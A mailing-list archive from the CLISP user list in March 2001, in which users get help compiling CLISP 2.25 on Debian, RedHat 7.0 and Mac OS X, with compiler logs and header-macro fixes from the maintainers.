[211.101.174.194] by ibm3500 (ArGoSoft Mail Server, Version 1.4 (1.4.0.2)); Mon, 26 Mar 2001 17:35:08 Message-ID: <3ABF0D39.8050504@163.net> Date: Mon, 26 Mar 2001 17:34:49 +0800 From: bruce User-Agent: Mozilla/5.0 (X11; U; Linux 2.2.18pre21 i686; en-US; m18) Gecko/20001103 X-Accept-Language: en, zh-cn MIME-Version: 1.0 To: clisp-list@lists.sourceforge.net Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit Subject: [clisp-list] Help: Cannot compile Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.3 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Dear friends, I just downloaded clisp-2.25, but I found myself not able to compile it on Debian-2.2r2. When I run ./configure It reports that my gcc is not working. Why that'so? Best! -- Kaufman's First Law of Party Physics: Population density is inversely proportional to the square of the distance from the keg. From cmcurtin@interhack.net Mon Mar 26 06:38:37 2001 Received: from strangepork.interhack.net ([38.194.92.68]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.22 #1 (Debian)) id 14hY8j-0005oF-00 for ; Mon, 26 Mar 2001 06:38:37 -0800 Received: from animal.interhack.net (animal.interhack.net [38.194.92.69]) by strangepork.interhack.net (8.11.0/8.11.0) with ESMTP id f2QEeWZ08032; Mon, 26 Mar 2001 09:40:32 -0500 (EST) Received: (from cmcurtin@localhost) by animal.interhack.net (980427.SGI.8.8.8/8.8.5) id JAA21038; Mon, 26 Mar 2001 09:36:26 -0500 (EST) To: bruce Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Help: Cannot compile References: <3ABF0D39.8050504@163.net> X-Face: L"IcL.b%SDN]0Kql2b`e.}+i05V9fi\yX#H1+Xl)3!+n/3?5`%-SA-HDgPk9uTk<3dv^J5DCgal)-E{`zN#*o6F|y>r)\< Date: 26 Mar 2001 09:36:25 -0500 In-Reply-To: bruce's message of "Mon, 26 Mar 2001 17:34:49 +0800" Message-ID: <86n1a84mxi.fsf@animal.interhack.net> Lines: 33 User-Agent: Gnus/5.0807 (Gnus v5.8.7) XEmacs/21.1 (Channel Islands) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.3 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: >>>>> "bruce" == bruce writes: bruce> It reports that my gcc is not working. Why that'so? Could you please provide some more detail? Like the version of your compiler? $ gcc -v The version of your system? $ uname -a Results of a trivial C program compilation? $ cat < foo.c #include int main(void) { printf("Hello, world!\n"); } EOF $ gcc -o foo foo.c And if it compiles, what happens if you run it? $ ./foo Hello, world! -- Matt Curtin, Founder Interhack Corporation http://www.interhack.net/ "Building the Internet, Securely." research | development | consulting From bruce253@163.net Mon Mar 26 18:07:01 2001 Received: from [211.101.174.194] (helo=ibm3500) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.22 #1 (Debian)) id 14hist-0006mT-00 for ; Mon, 26 Mar 2001 18:07:00 -0800 Received: from [211.101.174.194] by ibm3500 (ArGoSoft Mail Server, Version 1.4 (1.4.0.2)); Tue, 27 Mar 2001 09:54:48 Message-ID: <3ABFF2D7.40404@163.net> Date: Tue, 27 Mar 2001 09:54:31 +0800 From: bruce User-Agent: Mozilla/5.0 (X11; U; Linux 2.2.18pre21 i686; en-US; m18) Gecko/20001103 X-Accept-Language: en, zh-cn MIME-Version: 1.0 To: Matt Curtin CC: clisp-list Subject: Re: [clisp-list] Help: Cannot compile References: <3ABF0D39.8050504@163.net> <86n1a84mxi.fsf@animal.interhack.net> Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.3 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Matt Curtin wrote: >>>>>> "bruce" == bruce writes: >>>>> > bruce> It reports that my gcc is not working. Why that'so? > > Could you please provide some more detail? Like the version of your > compiler? > > $ gcc -v gcc version 2.95.2 20000220 (Debian GNU/Linux) > The version of your system? > > $ uname -a Linux My-hostname 2.2.18pre21 #1 Sat Nov 18 18:47:15 EST 2000 i686 unknown > Results of a trivial C program compilation? > > $ cat < foo.c > #include > > int main(void) { > printf("Hello, world!\n"); > } > EOF > > $ gcc -o foo foo.c It cannot compile, because it cannot find stdio.h. I see now the reason. I've updated libc6 to version 2.2.2-1to use the latest XFree86-4 but didn't do so for libc6-dev. The old libc6-dev was already uninstalled during updating. Thanks a lot for your help. Best! From smishra@firstworld.net Tue Mar 27 22:25:14 2001 Received: from c004-h011.c004.snv.cp.net ([209.228.33.75] helo=c000.sfo.cp.net) by usw-sf-list1.sourceforge.net with smtp (Exim 3.22 #1 (Debian)) id 14i9OM-0005NN-00 for ; Tue, 27 Mar 2001 22:25:14 -0800 Received: (cpmta 26958 invoked from network); 27 Mar 2001 22:25:08 -0800 Received: from c02-190.006.popsite.net (HELO localhost) (216.126.135.190) by smtp.firstworld.net (209.228.33.75) with SMTP; 27 Mar 2001 22:25:08 -0800 X-Sent: 28 Mar 2001 06:25:08 GMT Date: Tue, 27 Mar 2001 22:25:02 -0800 Content-Type: text/plain; format=flowed; charset=us-ascii Mime-Version: 1.0 (Apple Message framework v387) From: Sunil Mishra To: clisp-list@lists.sourceforge.net X-Mailer: Apple Mail (2.387) Content-Transfer-Encoding: 7bit Message-Id: Subject: [clisp-list] clisp on os X? Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.3 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Hi, Just got OS X final release, and got the new version of clisp. The good news is that most of the problems I had had with the previous released version of clisp with the public beta have been solved. The bad news is that I have a whole new set of problems, this time with IPV6 support. Has anyone attempted compiling clisp on OS X? I have tried adding -UHAVE_IPV6 to cflags in the makefile, to no avail. Any other suggestions? Here's a sampling of the errors I'm getting: In file included from socket.d:40: lispbibl.d:6882: warning: volatile register variables don't work as you might wish socket.d: In function `C_machine_instance': socket.d:196: structure has no member named `in6_u' socket.d:196: structure has no member named `in6_u' ... Thanks, Sunil From haible@ilog.fr Wed Mar 28 03:33:47 2001 Received: from sceaux.ilog.fr ([193.55.64.10]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.22 #1 (Debian)) id 14iECt-0005i4-00 for ; Wed, 28 Mar 2001 03:33:45 -0800 Received: from laposte.ilog.fr (cerbere-le0.ilog.fr [193.55.64.65]) by sceaux.ilog.fr (8.11.3/8.11.3) with ESMTP id f2SBSSR13401; Wed, 28 Mar 2001 13:28:29 +0200 (MET DST) Received: from honolulu.ilog.fr ([172.17.4.232]) by laposte.ilog.fr (8.11.3/8.11.3) with ESMTP id f2SBXHV14391; Wed, 28 Mar 2001 13:33:17 +0200 (MET DST) Received: (from haible@localhost) by honolulu.ilog.fr (8.9.3/8.9.3/SuSE Linux 8.9.3-0.1) id NAA21131; Wed, 28 Mar 2001 13:32:56 +0200 From: Bruno Haible MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <15041.52191.504016.935388@honolulu.ilog.fr> Date: Wed, 28 Mar 2001 13:32:47 +0200 (CEST) To: Sunil Mishra Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] clisp on os X? In-Reply-To: References: X-Mailer: VM 6.72 under 21.1 (patch 8) "Bryce Canyon" XEmacs Lucid Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.3 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Sunil Mishra writes: > I have tried adding > -UHAVE_IPV6 to cflags in the makefile, to no avail. Any other > suggestions? > > Here's a sampling of the errors I'm getting: > > In file included from socket.d:40: > lispbibl.d:6882: warning: volatile register variables don't work as you > might wish > socket.d: In function `C_machine_instance': > socket.d:196: structure has no member named `in6_u' > socket.d:196: structure has no member named `in6_u' I'd try to add #undef HAVE_IPV6 in socket.d, right after #include "lispbibl.c", around line 41. And please tell us what a "struct in6_addr" looks like on MacOS X, so we can fix the ipv6_ntop macro. Bruno From romildo@urano.iceb.ufop.br Wed Mar 28 07:38:27 2001 Received: from [200.131.209.253] (helo=urano.iceb.ufop.br) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.22 #1 (Debian)) id 14iI1j-0007sa-00; Wed, 28 Mar 2001 07:38:27 -0800 Received: (from romildo@localhost) by urano.iceb.ufop.br (8.11.0/8.11.0) id f2SFgnb28014; Wed, 28 Mar 2001 12:42:49 -0300 Date: Wed, 28 Mar 2001 12:42:49 -0300 From: =?iso-8859-1?Q?Jos=E9_Romildo_Malaquias?= To: clisp-list@lists.sourceforge.net Cc: clisp-devel@lists.sourceforge.net Message-ID: <20010328124249.A24588@urano.iceb.ufop.br> Mime-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Content-Disposition: inline User-Agent: Mutt/1.2.5i Content-Transfer-Encoding: quoted-printable X-MIME-Autoconverted: from 8bit to quoted-printable by urano.iceb.ufop.br id f2SFgnb28014 Subject: [clisp-list] Error compiling CLISP 2.25 on RedHat Linux 7.0 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.3 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Hello. Compilation of CLISP 2.25 in a RedHat Linux 7.0 box stopped with errors: =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D ./configure --prefix=3D/usr --fsstnd=3Dredhat --with-module=3Dwildcard --= with-module=3Dregexp --with-module=3Dbindings/linuxlibc6 --with-module=3D= clx//new-clx --with-module=3Dpostgresql642 --with-export-syscalls --build= build executing build/configure ... creating cache ./config.cache [...] cd data && ln -s ../../src/clhs.txt clhs.txt gcc -O -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit -Wreturn-type -fo= mit-frame-pointer -Wno-sign-compare -O2 -fexpensive-optimizations -DUNICO= DE -DEXPORT_SYSCALLS -DDYNAMIC_FFI -x none spvw.o spvwtabf.o spvwtabs.o s= pvwtabo.o eval.o control.o encoding.o pathname.o stream.o socket.o io.o a= rray.o hashtabl.o list.o package.o record.o sequence.o charstrg.o debug.o= error.o misc.o time.o predtype.o symbol.o lisparit.o foreign.o unixaux.o= posixmisc.o ari80386.o modules.o libsigsegv.a libiconv.a libintl.a libre= adline.a libavcall.a libcallback.a -lncurses -ldl -lm -o lisp.run pathname.o: In function `translate_pathname': pathname.o(.text+0x428c): undefined reference to `STACK_' pathname.o(.text+0x429c): undefined reference to `STACK_' pathname.o(.text+0x42d4): undefined reference to `STACK_' pathname.o(.text+0x42e4): undefined reference to `STACK_' pathname.o(.text+0x431c): undefined reference to `STACK_' pathname.o(.text+0x432c): more undefined references to `STACK_' follow collect2: ld returned 1 exit status make: *** [lisp.run] Error 1 =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D Any help? Romildo --=20 Prof. Jos=E9 Romildo Malaquias Departamento de Computa=E7=E3o Universidade Federal de Ouro Preto Brasil From romildo@urano.iceb.ufop.br Wed Mar 28 08:17:55 2001 Received: from [200.131.209.253] (helo=urano.iceb.ufop.br) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.22 #1 (Debian)) id 14iIdv-0006Rw-00; Wed, 28 Mar 2001 08:17:55 -0800 Received: (from romildo@localhost) by urano.iceb.ufop.br (8.11.0/8.11.0) id f2SGM7208752; Wed, 28 Mar 2001 13:22:07 -0300 Date: Wed, 28 Mar 2001 13:22:06 -0300 From: =?iso-8859-1?Q?Jos=E9_Romildo_Malaquias?= To: Sam Steingold Cc: clisp-devel@lists.sourceforge.net, clisp-list@lists.sourceforge.net Message-ID: <20010328132206.B24588@urano.iceb.ufop.br> References: <20010328124249.A24588@urano.iceb.ufop.br> Mime-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: ; from sds@gnu.org on Wed, Mar 28, 2001 at 11:01:37AM -0500 Content-Transfer-Encoding: quoted-printable X-MIME-Autoconverted: from 8bit to quoted-printable by urano.iceb.ufop.br id f2SGM7208752 Subject: [clisp-list] Re: Error compiling CLISP 2.25 on RedHat Linux 7.0 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.3 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: On Wed, Mar 28, 2001 at 11:01:37AM -0500, Sam Steingold wrote: > > * In message <20010328124249.A24588@urano.iceb.ufop.br> > > * On the subject of "Error compiling CLISP 2.25 on RedHat Linux 7.0" > > * Sent on Wed, 28 Mar 2001 12:42:49 -0300 > > * Honorable Jos=E9 Romildo Malaquias wri= tes: > > > > Compilation of CLISP 2.25 in a RedHat Linux 7.0 box stopped > > with errors: > >=20 > > =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D > > ../configure --prefix=3D/usr --fsstnd=3Dredhat --with-module=3Dwildca= rd --with-module=3Dregexp --with-module=3Dbindings/linuxlibc6 --with-modu= le=3Dclx///new-clx --with-module=3Dpostgresql642 --with-export-syscalls -= -build build > > executing build/configure ... > > creating cache ./config.cache > > [...] > > cd data && ln -s ../../src/clhs.txt clhs.txt > > gcc -O -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit -Wreturn-type= -fomit-frame-pointer -Wno-sign-compare -O2 -fexpensive-optimizations -DU= NICODE -DEXPORT_SYSCALLS -DDYNAMIC_FFI -x none spvw.o spvwtabf.o spvwtabs= .o spvwtabo.o eval.o control.o encoding.o pathname.o stream.o socket.o io= .o array.o hashtabl.o list.o package.o record.o sequence.o charstrg.o deb= ug.o error.o misc.o time.o predtype.o symbol.o lisparit.o foreign.o unixa= ux.o posixmisc.o ari80386.o modules.o libsigsegv.a libiconv.a libintl.a l= ibreadline.a libavcall.a libcallback.a -lncurses -ldl -lm -o lisp.run > > pathname.o: In function `translate_pathname': > > pathname.o(.text+0x428c): undefined reference to `STACK_' > > pathname.o(.text+0x429c): undefined reference to `STACK_' > > pathname.o(.text+0x42d4): undefined reference to `STACK_' > > pathname.o(.text+0x42e4): undefined reference to `STACK_' > > pathname.o(.text+0x431c): undefined reference to `STACK_' > > pathname.o(.text+0x432c): more undefined references to `STACK_' follo= w > > collect2: ld returned 1 exit status > > make: *** [lisp.run] Error 1 >=20 > STACK_ is a macro - it should have been expanded into something > meaningful.=20 > please post the warnings after the compilation of pathname.d, as well a= s > the results of gcc -O -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit -Wreturn-type -fo= mit-frame-pointer -Wno-sign-compare -O2 -fexpensive-optimizations -DUNICO= DE -DEXPORT_SYSCALLS -DDYNAMIC_FFI -c pathname.c In file included from lispbibl.d:8143, from pathname.d:6: pseudofun.d:17:21: warning: "LPSEUDOCODE" redefined pseudofun.d:17:1: warning: this is the location of the previous definitio= n pseudofun.d:18:21: warning: "XPSEUDOCODE" redefined pseudofun.d:18:1: warning: this is the location of the previous definitio= n pseudofun.d:19:21: warning: "XPSEUDODATA" redefined pseudofun.d:19:1: warning: this is the location of the previous definitio= n pathname.d:6016:54: warning: pasting would not give a valid preprocessing= token pathname.d:6017:50: warning: pasting would not give a valid preprocessing= token pathname.d:6018:50: warning: pasting would not give a valid preprocessing= token pathname.d:6019:52: warning: pasting would not give a valid preprocessing= token In file included from pathname.d:7: lispbibl.d:7002: warning: register used for two global register variables pathname.d: In function `parse_logical_word': pathname.d:1547: warning: `ch' might be used uninitialized in this functi= on pathname.d: In function `translate_pathname': pathname.d:6016: warning: implicit declaration of function `STACK_' > $ uname -a Linux urano.iceb.ufop.br 2.2.17-14 #1 Mon Feb 5 15:25:12 EST 2001 i586 un= known > $ gcc --version 2.96 Romildo --=20 Prof. Jos=E9 Romildo Malaquias Departamento de Computa=E7=E3o Universidade Federal de Ouro Preto Brasil From smishra@firstworld.net Wed Mar 28 09:53:53 2001 Received: from c004-h011.c004.snv.cp.net ([209.228.33.75] helo=c000.sfo.cp.net) by usw-sf-list1.sourceforge.net with smtp (Exim 3.22 #1 (Debian)) id 14iK8n-0007O1-00 for ; Wed, 28 Mar 2001 09:53:53 -0800 Received: (cpmta 22405 invoked from network); 28 Mar 2001 09:53:50 -0800 Received: from c04-105.006.popsite.net (HELO sputnik-ibook) (216.126.137.105) by smtp.firstworld.net (209.228.33.75) with SMTP; 28 Mar 2001 09:53:50 -0800 X-Sent: 28 Mar 2001 17:53:50 GMT Date: Wed, 28 Mar 2001 09:53:02 -0800 Content-Type: text/plain; format=flowed; charset=us-ascii X-Mailer: Apple Mail (2.387) From: Sunil Mishra To: clisp-list@lists.sourceforge.net Mime-Version: 1.0 (Apple Message framework v387) In-Reply-To: <15041.52191.504016.935388@honolulu.ilog.fr> Subject: Re: [clisp-list] clisp on os X? Content-Transfer-Encoding: 7bit Message-Id: Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.3 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: OK, that hack got me past that error. Here's the in6_addr definition, in netinet6/in6.h: struct in6_addr { union { u_int8_t __u6_addr8[16]; u_int16_t __u6_addr16[8]; u_int32_t __u6_addr32[4]; } __u6_addr; /* 128-bit IP6 address */ }; There are other errors I ran into as well. The following is a more complete log of everything I have done thus far. First and foremost, configure requires an explicit host declaration (configure --host=powerpc ...). It appears there are multiple configure scripts scattered through the system, and one of them is failing. Next, I followed the make instructions that configure printed out, and ran into this error: ln -s ../src/version.h version.h cc -O -traditional-cpp -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit -Wretur\ n-type -fomit-frame-pointer -Wno-sign-compare -O2 -DUNICODE -c spvw.c In file included from spvw.d:21: lispbibl.d:1426: #error "Preferred integer sizes depend on CPU -- Gr\303\266\30\ 3\237en intBWsize, intWLsize, intBWLsize neu einstellen!" lispbibl.d:1600: #error "Preferred digit size depends on CPU -- Gr\303\266\303\\ 237e intDsize neu einstellen!" In file included from spvw.d:21: lispbibl.d:1995: warning: `TIME_ABSOLUTE' redefined /usr/include/mach/clock_types.h:119: warning: this is the location of the previ\ ous definition make: *** [spvw.o] Error 1 It looks like the integer sizes for the powerpc are not defined. To get around this problem, I added -DRS6000 to CFLAGS in the makefile. Then execution continued until I ran into the ipv6 problem my original message described. I applied the #undef and continued the make, to run into this error: cc -O -traditional-cpp -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit -Wretur\ n-type -fomit-frame-pointer -Wno-sign-compare -O2 -DUNICODE -DRS6000 -c time.c In file included from time.d:4: lispbibl.d:1995: warning: `TIME_ABSOLUTE' redefined /usr/include/mach/clock_types.h:119: warning: this is the location of the previ\ ous definition In file included from time.d:4: lispbibl.d:6882: warning: volatile register variables don't work as you might w\ ish time.d:170: conflicting types for `get_real_time' lispbibl.d:6608: previous declaration of `get_real_time' time.d: In function `get_real_time': time.d:173: warning: implicit declaration of function `get_time' time.d:173: invalid operands to binary - time.d:174: warning: control reaches end of non-void function time.d: At top level: time.d:204: conflicting types for `get_real_time' time.d:172: previous declaration of `get_real_time' time.d:206: redefinition of `get_real_time' time.d:204: `get_real_time' previously defined here time.d: In function `init_time': time.d:783: incompatible types in assignment make: *** [time.o] Error 1 Again, I have no idea how to fix this. Thanks for the help. Sunil On Wednesday, March 28, 2001, at 03:32 AM, Bruno Haible wrote: > Sunil Mishra writes: >> I have tried adding >> -UHAVE_IPV6 to cflags in the makefile, to no avail. Any other >> suggestions? >> >> Here's a sampling of the errors I'm getting: >> >> In file included from socket.d:40: >> lispbibl.d:6882: warning: volatile register variables don't work as you >> might wish >> socket.d: In function `C_machine_instance': >> socket.d:196: structure has no member named `in6_u' >> socket.d:196: structure has no member named `in6_u' > > I'd try to add > > #undef HAVE_IPV6 > > in socket.d, right after #include "lispbibl.c", around line 41. > > And please tell us what a "struct in6_addr" looks like on MacOS X, so > we can fix the ipv6_ntop macro. > > Bruno > > _______________________________________________ > clisp-list mailing list > clisp-list@lists.sourceforge.net > http://lists.sourceforge.net/lists/listinfo/clisp-list > From haible@ilog.fr Wed Mar 28 11:57:58 2001 Received: from sceaux.ilog.fr ([193.55.64.10]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.22 #1 (Debian)) id 14iM4q-0002a2-00 for ; Wed, 28 Mar 2001 11:57:56 -0800 Received: from laposte.ilog.fr (cerbere-le0.ilog.fr [193.55.64.65]) by sceaux.ilog.fr (8.11.3/8.11.3) with ESMTP id f2SJqoR01291; Wed, 28 Mar 2001 21:52:51 +0200 (MET DST) Received: from honolulu.ilog.fr ([172.17.4.242]) by laposte.ilog.fr (8.11.3/8.11.3) with ESMTP id f2SJvdV01418; Wed, 28 Mar 2001 21:57:39 +0200 (MET DST) Received: (from haible@localhost) by honolulu.ilog.fr (8.9.3/8.9.3/SuSE Linux 8.9.3-0.1) id VAA24194; Wed, 28 Mar 2001 21:57:17 +0200 From: Bruno Haible MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <15042.16909.200032.818967@honolulu.ilog.fr> Date: Wed, 28 Mar 2001 21:57:01 +0200 (CEST) To: Sunil Mishra Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] clisp on os X? In-Reply-To: References: <15041.52191.504016.935388@honolulu.ilog.fr> X-Mailer: VM 6.72 under 21.1 (patch 8) "Bryce Canyon" XEmacs Lucid Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.3 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Sunil Mishra writes: > OK, that hack got me past that error. Here's the in6_addr definition, in > netinet6/in6.h: > > struct in6_addr { > union { > u_int8_t __u6_addr8[16]; > u_int16_t __u6_addr16[8]; > u_int32_t __u6_addr32[4]; > } __u6_addr; /* 128-bit IP6 address */ > }; Doesn't really help - all these fields are private (start with __), clisp cannot use them. Aren't there macros for accessing them? > First and foremost, configure requires an explicit host declaration > (configure --host=powerpc ...). It appears there are multiple configure > scripts scattered through the system, and one of them is failing. Should be fixed in the next release. > cc -O -traditional-cpp -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit > -Wretur\ > n-type -fomit-frame-pointer -Wno-sign-compare -O2 -DUNICODE -DRS6000 -c > time.c > In file included from time.d:4: > lispbibl.d:1995: warning: `TIME_ABSOLUTE' redefined > /usr/include/mach/clock_types.h:119: warning: this is the location of > the previ\ > ous definition > In file included from time.d:4: > lispbibl.d:6882: warning: volatile register variables don't work as you > might w\ > ish > time.d:170: conflicting types for `get_real_time' > lispbibl.d:6608: previous declaration of `get_real_time' It seems this /usr/include/mach/clock_types.h header file defines both TIME_RELATIVE and TIME_ABSOLUTE. This heavily confuses clisp. Can you add #undef statements for them in lispbibl.d, near "#undef CBLOCK" and "#undef hz"? Bruno From smishra@firstworld.net Wed Mar 28 14:48:57 2001 Received: from c004-h011.c004.snv.cp.net ([209.228.33.75] helo=c000.sfo.cp.net) by usw-sf-list1.sourceforge.net with smtp (Exim 3.22 #1 (Debian)) id 14iOkL-0005rV-00 for ; Wed, 28 Mar 2001 14:48:57 -0800 Received: (cpmta 22015 invoked from network); 28 Mar 2001 14:48:46 -0800 Received: from c02-153.006.popsite.net (HELO sputnik-ibook) (216.126.135.153) by smtp.firstworld.net (209.228.33.75) with SMTP; 28 Mar 2001 14:48:46 -0800 X-Sent: 28 Mar 2001 22:48:46 GMT Date: Wed, 28 Mar 2001 14:48:38 -0800 Content-Type: multipart/alternative; boundary=Apple-Mail-854788932-3 Mime-Version: 1.0 (Apple Message framework v387) From: Sunil Mishra To: clisp-list@lists.sourceforge.net X-Mailer: Apple Mail (2.387) Subject: Fwd: [clisp-list] clisp on os X? Message-Id: Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.3 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: --Apple-Mail-854788932-3 Content-Transfer-Encoding: 7bit Content-Type: text/plain; format=flowed; charset=us-ascii Neglected to send the results of my attempts to install OS X to the list... Begin forwarded message: > From: Sunil Mishra > Date: Wed Mar 28, 2001 02:47:13 PM US/Pacific > To: Bruno Haible > Subject: Re: [clisp-list] clisp on os X? > > > On Wednesday, March 28, 2001, at 11:57 AM, Bruno Haible wrote: > >> Sunil Mishra writes: >>> OK, that hack got me past that error. Here's the in6_addr definition, >>> in >>> netinet6/in6.h: >>> >>> struct in6_addr { >>> union { >>> u_int8_t __u6_addr8[16]; >>> u_int16_t __u6_addr16[8]; >>> u_int32_t __u6_addr32[4]; >>> } __u6_addr; /* 128-bit IP6 address */ >>> }; >> >> Doesn't really help - all these fields are private (start with __), >> clisp cannot use them. Aren't there macros for accessing them? > > It looks like the macros you want are defined immediately following the > structure definition. But not trusting myself to read this code, I'm > going to attach the header file itself. > >>> cc -O -traditional-cpp -W -Wswitch -Wcomment -Wpointer-arith >>> -Wimplicit >>> -Wretur\ >>> n-type -fomit-frame-pointer -Wno-sign-compare -O2 -DUNICODE >>> -DRS6000 -c >>> time.c >>> In file included from time.d:4: >>> lispbibl.d:1995: warning: `TIME_ABSOLUTE' redefined >>> /usr/include/mach/clock_types.h:119: warning: this is the location of >>> the previ\ >>> ous definition >>> In file included from time.d:4: >>> lispbibl.d:6882: warning: volatile register variables don't work as >>> you >>> might w\ >>> ish >>> time.d:170: conflicting types for `get_real_time' >>> lispbibl.d:6608: previous declaration of `get_real_time' >> >> It seems this /usr/include/mach/clock_types.h header file defines both >> TIME_RELATIVE and TIME_ABSOLUTE. > > Indeed it does. > >> This heavily confuses clisp. Can you >> add #undef statements for them in lispbibl.d, near "#undef CBLOCK" and >> "#undef hz"? >> > > I added the lines: > > #undef TIME_RELATIVE > #undef TIME_ABSOLUTE > > immediately following #undef CBLOCK and #undef hz. Now attempting to > invoke make again... > > It compiled all the way through and passed all the "make check" tests. > Thanks for the help :-) > > Sunil >> >> --Apple-Mail-854788932-3 Content-Type: multipart/mixed; boundary=Apple-Mail-964867117-4 --Apple-Mail-964867117-4 Content-Transfer-Encoding: 7bit Content-Type: text/plain; charset=us-ascii; format=flowed Neglected to send the results of my attempts to install OS X to the list... Begin forwarded message: > From: Sunil Mishra > Date: Wed Mar 28, 2001 02:47:13 PM US/Pacific > To: Bruno Haible > Subject: Re: [clisp-list] clisp on os X? > > > On Wednesday, March 28, 2001, at 11:57 AM, Bruno Haible wrote: > >> Sunil Mishra writes: >>> OK, that hack got me past that error. Here's the in6_addr definition, >>> in >>> netinet6/in6.h: >>> >>> struct in6_addr { >>> union { >>> u_int8_t __u6_addr8[16]; >>> u_int16_t __u6_addr16[8]; >>> u_int32_t __u6_addr32[4]; >>> } __u6_addr; /* 128-bit IP6 address */ >>> }; >> >> Doesn't really help - all these fields are private (start with __), >> clisp cannot use them. Aren't there macros for accessing them? > > It looks like the macros you want are defined immediately following the > structure definition. But not trusting myself to read this code, I'm > going to attach the header file itself. > >>> cc -O -traditional-cpp -W -Wswitch -Wcomment -Wpointer-arith >>> -Wimplicit >>> -Wretur\ >>> n-type -fomit-frame-pointer -Wno-sign-compare -O2 -DUNICODE >>> -DRS6000 -c >>> time.c >>> In file included from time.d:4: >>> lispbibl.d:1995: warning: `TIME_ABSOLUTE' redefined >>> /usr/include/mach/clock_types.h:119: warning: this is the location of >>> the previ\ >>> ous definition >>> In file included from time.d:4: >>> lispbibl.d:6882: warning: volatile register variables don't work as >>> you >>> might w\ >>> ish >>> time.d:170: conflicting types for `get_real_time' >>> lispbibl.d:6608: previous declaration of `get_real_time' >> >> It seems this /usr/include/mach/clock_types.h header file defines both >> TIME_RELATIVE and TIME_ABSOLUTE. > > Indeed it does. > >> This heavily confuses clisp. Can you >> add #undef statements for them in lispbibl.d, near "#undef 